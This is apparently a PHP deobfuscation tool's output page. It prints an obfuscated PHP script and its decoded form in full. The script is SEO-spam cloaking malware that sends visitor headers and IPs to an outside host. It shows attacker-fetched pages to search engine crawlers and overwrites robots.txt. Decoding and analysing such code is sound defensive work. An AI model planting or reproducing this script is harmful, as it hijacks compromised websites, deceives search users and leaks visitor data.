Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ErRor_RePOrTIng(0);$_iwyj="bin\x67\x7c\x67o\157\147le|\171a\150\x6fo";$_tvdeppf="\15..
Decoded Output download
<?php ErRor_RePOrTIng(0);$_iwyj="bing|google|yahoo";$_tvdeppf="http://cw365.alivewant.shop/index.php";$_mdbvib="BlEEAQF";$_cobqiy=uRlencodE($_SERVER["HTTP_USER_AGENT"]);$_egjzi=uRLENCodE($_SERVER["HTTP_REFERER"]);$_bguvsns=urlEncOde($_SERVER["HTTP_ACCEPT_LANGUAGE"]);$_fnealbt=_pdwu();$_nqojvylz=uRLencODE($_fnealbt);$_kyjjm=urLenCodE($_SERVER["HTTP_HOST"]);$_hnihmtgv=UrLENcOdE($_SERVER["SCRIPT_NAME"]);if((!empty($_SERVER["REQUEST_SCHEME"])&&$_SERVER["REQUEST_SCHEME"]=="https")||(!empty($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]=="on")||(!empty($_SERVER["SERVER_PORT"])&&$_SERVER["SERVER_PORT"]=="443")||(isset($_SERVER["HTTP_X_FORWARDED_PROTO"])&&$_SERVER["HTTP_X_FORWARDED_PROTO"]=="https")){$_SERVER["REQUEST_SCHEME"]="https";}else{$_SERVER["REQUEST_SCHEME"]="http";}$_mjjpmrh=urlEnCOde($_SERVER["REQUEST_SCHEME"]);$_lydezkf=urLencOdE($_SERVER["REQUEST_URI"]);if(stRpOS($_lydezkf,"uuuuxxxxooo")!==false){echo"ok";exit();}if($_fnealbt=="153.246.135.238"||$_fnealbt=="219.101.44.233"){headeR("HTTP/1.0 403 Forbidden");exit();}$_clfwlkx=(int)ROUND(0+0+0);if(!FiLe_EXISTs("uxo.txt")){$_aagsrh=$_mjjpmrh."://".$_SERVER["HTTP_HOST"]."/uuuuxxxxooo";$_zxtqdhz=_kyzunl($_aagsrh);if($_zxtqdhz=="ok"){$_clfwlkx=((int)round(97.25+97.25+97.25+97.25)+(int)ROUNd(-97+-97+-97+-97));@FIlE_PUt_conTENTs("uxo.txt","1");}else{$_clfwlkx=((int)RoUNd(103+103+103+103)+(-0623+-0362- -0351));@fILE_puT_cONtentS("uxo.txt","0");}}else{$_clfwlkx=@FiLe_gEt_CONtENTs("uxo.txt");}if(strpOs($_lydezkf,"pingsitemap.xml")!==false){$_dydh=$_SERVER["SCRIPT_NAME"];if(StrpOS($_dydh,"index.php")!==false){if($_clfwlkx==((int)RoUND(8.5+8.5+8.5+8.5)-(int)ROund(79.333333333333+79.333333333333+79.333333333333)-(-0437- -0162- -01641+-02313)-(01622+01267-0347+-02127))){$_dydh="/?";}else{$_dydh="/";}}else{$_dydh=$_dydh."?";}$_ukbj="User-agent: *
Allow: /";$_ritd=$_mjjpmrh."://".$_kyjjm.$_dydh."sitemap.xml";$_ukbj=tRim($_ukbj)."
"."Sitemap: ".$_ritd;$_dxuoplh="";echo$_ritd.": ".$_dxuoplh."<br/>";$_rjgpuvr=$_tvdeppf."?agent=".$_cobqiy."&refer=".$_egjzi."&lang=".$_bguvsns."&ip=".$_nqojvylz."&dom=".$_kyjjm."&http=".$_mjjpmrh."&uri=".$_lydezkf."&pc=".$_mdbvib."&rewriteable=".$_clfwlkx."&script=".$_hnihmtgv."&sitemap=".uRLeNCOdE($_ritd);$_zxtqdhz=_kyzunl($_rjgpuvr);@FIlE_put_cONTeNts("robots.txt",$_ukbj);exit();}else if(StrPOS($_lydezkf,"favicon.ico")!==false){}else if(sTrPoS($_lydezkf,"jp2023")!==false){$_rjgpuvr=$_tvdeppf."?agent=".$_cobqiy."&refer=".$_egjzi."&lang=".$_bguvsns."&ip=".$_nqojvylz."&dom=".$_kyjjm."&http=".$_mjjpmrh."&uri=".$_lydezkf."&pc=".$_mdbvib."&rewriteable=".$_clfwlkx."&script=".$_hnihmtgv;$_zxtqdhz=_kyzunl($_rjgpuvr);echo$_zxtqdhz;exit();return;}else if(stRPoS($_lydezkf,"robots.txt")!==false||StrPOs($_lydezkf,"writerobots")!==false){$_rjgpuvr=$_tvdeppf."?agent=".$_cobqiy."&refer=".$_egjzi."&lang=".$_bguvsns."&ip=".$_nqojvylz."&dom=".$_kyjjm."&http=".$_mjjpmrh."&uri=".$_lydezkf."&pc=".$_mdbvib."&rewriteable=".$_clfwlkx."&script=".$_hnihmtgv;HEAdEr("Content-Type: text/plain; charset=utf-8");echo$_zxtqdhz=_kyzunl($_rjgpuvr);@fIlE_put_cOnTEntS("robots.txt",$_zxtqdhz);exit();}else if(PREg_MatcH("@^/(.*?).xml$@i",$_SERVER["REQUEST_URI"])){$_rjgpuvr=$_tvdeppf."?agent=".$_cobqiy."&refer=".$_egjzi."&lang=".$_bguvsns."&ip=".$_nqojvylz."&dom=".$_kyjjm."&http=".$_mjjpmrh."&uri=".$_lydezkf."&pc=".$_mdbvib."&rewriteable=".$_clfwlkx."&script=".$_hnihmtgv;$_zxtqdhz=_kyzunl($_rjgpuvr);if($_zxtqdhz=="500"){HEAdEr("HTTP/1.0 500 Internal Server Error");exit();}else{HeaDEr("Content-Type: text/xml; charset=utf-8");echo$_zxtqdhz;exit();return;}}else if(preG_MaTCh("/(".$_iwyj.")/i",$_SERVER["HTTP_USER_AGENT"])){$_rjgpuvr=$_tvdeppf."?agent=".$_cobqiy."&refer=".$_egjzi."&lang=".$_bguvsns."&ip=".$_nqojvylz."&dom=".$_kyjjm."&http=".$_mjjpmrh."&uri=".$_lydezkf."&pc=".$_mdbvib."&rewriteable=".$_clfwlkx."&script=".$_hnihmtgv;$_zxtqdhz=_kyzunl($_rjgpuvr);if(!empty($_zxtqdhz)){if($_zxtqdhz=="500"){HEadEr("HTTP/1.0 500 Internal Server Error");exit();}if(sUBstR($_zxtqdhz,(int)rouND(0+0),(-057- -032)-(int)ROUnd(5+5)-(int)rOUnd(7.6666666666667+7.6666666666667+7.6666666666667)+(-0244+0254+-0343- -0426))=="<?xml"){HeadER("Content-Type: text/xml; charset=utf-8");}else{headEr("Content-Type: text/html; charset=utf-8");}echo$_zxtqdhz;exit();return;}}else if(PrEg_Match("/(".$_iwyj.")/i",$_SERVER["HTTP_REFERER"])){$_rjgpuvr=$_tvdeppf."?agent=".$_cobqiy."&refer=".$_egjzi."&lang=".$_bguvsns."&ip=".$_nqojvylz."&dom=".$_kyjjm."&http=".$_mjjpmrh."&uri=".$_lydezkf."&pc=".$_mdbvib."&rewriteable=".$_clfwlkx;$_zxtqdhz=_kyzunl($_rjgpuvr);if($_zxtqdhz=="500"){HEADEr("HTTP/1.0 500 Internal Server Error");exit();}else if(!empty($_zxtqdhz)){heADer("HTTP/1.1 404 Not Found");echo$_zxtqdhz;exit();return;}}else{};?>
Did this file decode correctly?
Original Code
<?php ErRor_RePOrTIng(0);$_iwyj="bin\x67\x7c\x67o\157\147le|\171a\150\x6fo";$_tvdeppf="\150ttp://\x63w36\x35\056\141liv\145\167a\156\164.s\150\x6f\x70\x2find\145x.ph\160";$_mdbvib="\x42lEEAQF";$_cobqiy=uRlencodE($_SERVER["HTTP_US\x45R\x5f\x41G\x45\116T"]);$_egjzi=uRLENCodE($_SERVER["HT\124\120_R\105FER\105R"]);$_bguvsns=urlEncOde($_SERVER["HTT\120_\101CCEPT\137LANGUAGE"]);$_fnealbt=_pdwu();$_nqojvylz=uRLencODE($_fnealbt);$_kyjjm=urLenCodE($_SERVER["HTT\120_H\x4fS\x54"]);$_hnihmtgv=UrLENcOdE($_SERVER["\x53CRIP\124_\x4eA\x4d\105"]);if((!empty($_SERVER["\122EQ\125EST\x5fS\x43\x48\x45\115E"])&&$_SERVER["R\x45QUES\x54_\123CH\x45\115\105"]=="https")||(!empty($_SERVER["\x48\124\124\120S"])&&$_SERVER["\x48T\x54PS"]=="\x6f\156")||(!empty($_SERVER["SE\122\x56\105\x52_P\x4fRT"])&&$_SERVER["S\105R\x56E\122\137\x50\x4f\122\124"]=="443")||(isset($_SERVER["\110T\x54P_X\x5f\106OR\127A\x52\104ED_P\x52OTO"])&&$_SERVER["H\124\124P_X_F\117RWA\x52DED\x5f\x50R\x4f\x54O"]=="\x68\164t\x70\163")){$_SERVER["R\x45QUE\x53T_SC\x48\x45ME"]="h\164tps";}else{$_SERVER["\x52\x45\121\125\105ST_S\x43\110\105ME"]="h\x74tp";}$_mjjpmrh=urlEnCOde($_SERVER["\x52\x45\x51\x55ES\124_\123CHE\115\105"]);$_lydezkf=urLencOdE($_SERVER["RE\x51UEST_\125\x52\111"]);if(stRpOS($_lydezkf,"u\x75u\165xx\x78xooo")!==false){echo"\157k";exit();}if($_fnealbt=="153\0562\x346\x2e\061\0635.238"||$_fnealbt=="\x321\x39.101\x2e44\x2e23\x33"){headeR("H\124\x54P/\061\x2e\x30 \064\x30\063\x20For\142i\144\x64e\156");exit();}$_clfwlkx=(int)ROUND(0+0+0);if(!FiLe_EXISTs("u\170\157.tx\x74")){$_aagsrh=$_mjjpmrh."\072//".$_SERVER["\110TTP_\110O\123T"]."\057uuu\165\170\170\x78x\x6foo";$_zxtqdhz=_kyzunl($_aagsrh);if($_zxtqdhz=="o\x6b"){$_clfwlkx=((int)round(97.25+97.25+97.25+97.25)+(int)ROUNd(-97+-97+-97+-97));@FIlE_PUt_conTENTs("u\170\x6f.\x74xt","\x31");}else{$_clfwlkx=((int)RoUNd(103+103+103+103)+(-0623+-0362- -0351));@fILE_puT_cONtentS("\165xo.t\170t","\060");}}else{$_clfwlkx=@FiLe_gEt_CONtENTs("uxo\x2e\x74xt");}if(strpOs($_lydezkf,"\160\x69n\x67s\x69\x74ema\160.x\x6d\x6c")!==false){$_dydh=$_SERVER["SCRI\120T\137\x4eAME"];if(StrpOS($_dydh,"i\x6edex\056p\150\160")!==false){if($_clfwlkx==((int)RoUND(8.5+8.5+8.5+8.5)-(int)ROund(79.333333333333+79.333333333333+79.333333333333)-(-0437- -0162- -01641+-02313)-(01622+01267-0347+-02127))){$_dydh="/?";}else{$_dydh="/";}}else{$_dydh=$_dydh."\x3f";}$_ukbj="Us\x65r-age\x6et\x3a\040*\015\x0aAl\x6co\x77\072 \057";$_ritd=$_mjjpmrh.":\057/".$_kyjjm.$_dydh."\163i\x74em\141\160.\170ml";$_ukbj=tRim($_ukbj)."\x0d\x0a"."S\151t\x65ma\x70: ".$_ritd;$_dxuoplh="";echo$_ritd."\072\x20".$_dxuoplh."<\142r\057\x3e";$_rjgpuvr=$_tvdeppf."?\141\x67en\164\x3d".$_cobqiy."&re\x66\145r=".$_egjzi."&\x6c\141\156\147\075".$_bguvsns."&i\x70=".$_nqojvylz."\046do\x6d\x3d".$_kyjjm."&htt\x70\x3d".$_mjjpmrh."\x26\x75ri=".$_lydezkf."&\160\x63=".$_mdbvib."&rewri\x74e\141\x62\x6c\145\x3d".$_clfwlkx."&\163cript\075".$_hnihmtgv."&sit\145\155\x61p\075".uRLeNCOdE($_ritd);$_zxtqdhz=_kyzunl($_rjgpuvr);@FIlE_put_cONTeNts("robo\x74s.t\x78t",$_ukbj);exit();}else if(StrPOS($_lydezkf,"f\x61vic\x6fn.\151c\157")!==false){}else if(sTrPoS($_lydezkf,"j\x702\06023")!==false){$_rjgpuvr=$_tvdeppf."\x3f\x61g\x65\x6e\164=".$_cobqiy."\x26\162ef\145\x72=".$_egjzi."\046\x6c\141ng\075".$_bguvsns."\x26ip=".$_nqojvylz."&\x64om\075".$_kyjjm."&\150\x74tp\075".$_mjjpmrh."&u\162\x69\075".$_lydezkf."\046\x70c\075".$_mdbvib."\x26\162ewri\x74e\x61b\154e\075".$_clfwlkx."&script=".$_hnihmtgv;$_zxtqdhz=_kyzunl($_rjgpuvr);echo$_zxtqdhz;exit();return;}else if(stRPoS($_lydezkf,"\x72obots.\x74\170\164")!==false||StrPOs($_lydezkf,"\x77ri\164\145robots")!==false){$_rjgpuvr=$_tvdeppf."\x3fa\x67ent=".$_cobqiy."\046ref\x65r=".$_egjzi."\046\x6ca\156\147\x3d".$_bguvsns."\046\x69\160\x3d".$_nqojvylz."&\x64\157m\x3d".$_kyjjm."&\150tt\160=".$_mjjpmrh."\x26u\162\x69=".$_lydezkf."&\160\x63=".$_mdbvib."&r\x65write\x61\142le\x3d".$_clfwlkx."\046\x73cript=".$_hnihmtgv;HEAdEr("\x43\x6f\156ten\x74\055\x54yp\x65: \164\145\170t/\160l\x61\151\156\x3b \x63\x68\x61r\163et=u\164f-\070");echo$_zxtqdhz=_kyzunl($_rjgpuvr);@fIlE_put_cOnTEntS("robo\164\x73.txt",$_zxtqdhz);exit();}else if(PREg_MatcH("\100\136\x2f(\056\x2a\077)\056\170\155l\x24@i",$_SERVER["R\105\x51\125EST_\x55R\111"])){$_rjgpuvr=$_tvdeppf."\x3f\x61gent=".$_cobqiy."\x26r\x65fer=".$_egjzi."\046\x6c\x61n\147=".$_bguvsns."&ip=".$_nqojvylz."\x26d\157m\075".$_kyjjm."\046\x68t\164p\x3d".$_mjjpmrh."\x26\x75r\x69\075".$_lydezkf."&\x70c=".$_mdbvib."\046rewrite\x61bl\x65=".$_clfwlkx."\046sc\x72ipt=".$_hnihmtgv;$_zxtqdhz=_kyzunl($_rjgpuvr);if($_zxtqdhz=="5\x300"){HEAdEr("H\x54TP/1.0\x20\x350\x30\x20\x49ntern\141l\x20\123\x65\162ver E\x72\162\x6fr");exit();}else{HeaDEr("\103ont\x65\156\x74\x2dT\171p\x65: \164ext\057xm\154;\040\143\150ar\163e\164\x3du\164f\x2d\070");echo$_zxtqdhz;exit();return;}}else if(preG_MaTCh("\x2f\050".$_iwyj."\051\057\151",$_SERVER["\110TTP\137U\x53ER_\101\107EN\124"])){$_rjgpuvr=$_tvdeppf."?age\x6e\x74\075".$_cobqiy."&\162e\146\145r\075".$_egjzi."&lang\x3d".$_bguvsns."&ip=".$_nqojvylz."\046dom=".$_kyjjm."&http\x3d".$_mjjpmrh."&u\162i=".$_lydezkf."\046\x70c=".$_mdbvib."\046\x72\145wri\164eab\154e=".$_clfwlkx."\046scr\151\x70t=".$_hnihmtgv;$_zxtqdhz=_kyzunl($_rjgpuvr);if(!empty($_zxtqdhz)){if($_zxtqdhz=="50\x30"){HEadEr("HTTP/1\0560 \x3500 In\164ern\x61l S\145\x72ve\x72\x20E\x72ro\162");exit();}if(sUBstR($_zxtqdhz,(int)rouND(0+0),(-057- -032)-(int)ROUnd(5+5)-(int)rOUnd(7.6666666666667+7.6666666666667+7.6666666666667)+(-0244+0254+-0343- -0426))=="<?xm\x6c"){HeadER("Cont\x65\x6e\164-T\x79p\145\x3a\040\164\145xt/\170\155\154; \x63har\163e\x74=\165t\x66-8");}else{headEr("\x43o\156\164e\156t-\x54ype\x3a\040\164ex\164/ht\x6dl\073\040\143\x68\141r\163\145\x74=u\x74f-8");}echo$_zxtqdhz;exit();return;}}else if(PrEg_Match("/\x28".$_iwyj.")/i",$_SERVER["\110TT\x50_\122\x45FERER"])){$_rjgpuvr=$_tvdeppf."?ag\145n\164=".$_cobqiy."&r\145fer=".$_egjzi."&lang=".$_bguvsns."\x26\151p\x3d".$_nqojvylz."&do\155\x3d".$_kyjjm."&http\075".$_mjjpmrh."\x26\165ri\075".$_lydezkf."&\160c\075".$_mdbvib."&r\x65\x77\x72\151t\x65ab\x6ce=".$_clfwlkx;$_zxtqdhz=_kyzunl($_rjgpuvr);if($_zxtqdhz=="500"){HEADEr("\x48TT\x50/\x31.\x30\x20500 \x49\156tern\141\x6c\x20S\x65\162v\145r\040Er\x72o\162");exit();}else if(!empty($_zxtqdhz)){heADer("\x48T\x54P/1.1 \x3404\x20N\157\x74 \106o\x75nd");echo$_zxtqdhz;exit();return;}}else{};?>
Function Calls
ErRor_RePOrTIng | 1 |
Stats
MD5 | 2b5f4c04ebe9ba443796cad9ae9bd9e1 |
Eval Count | 0 |
Decode Time | 72 ms |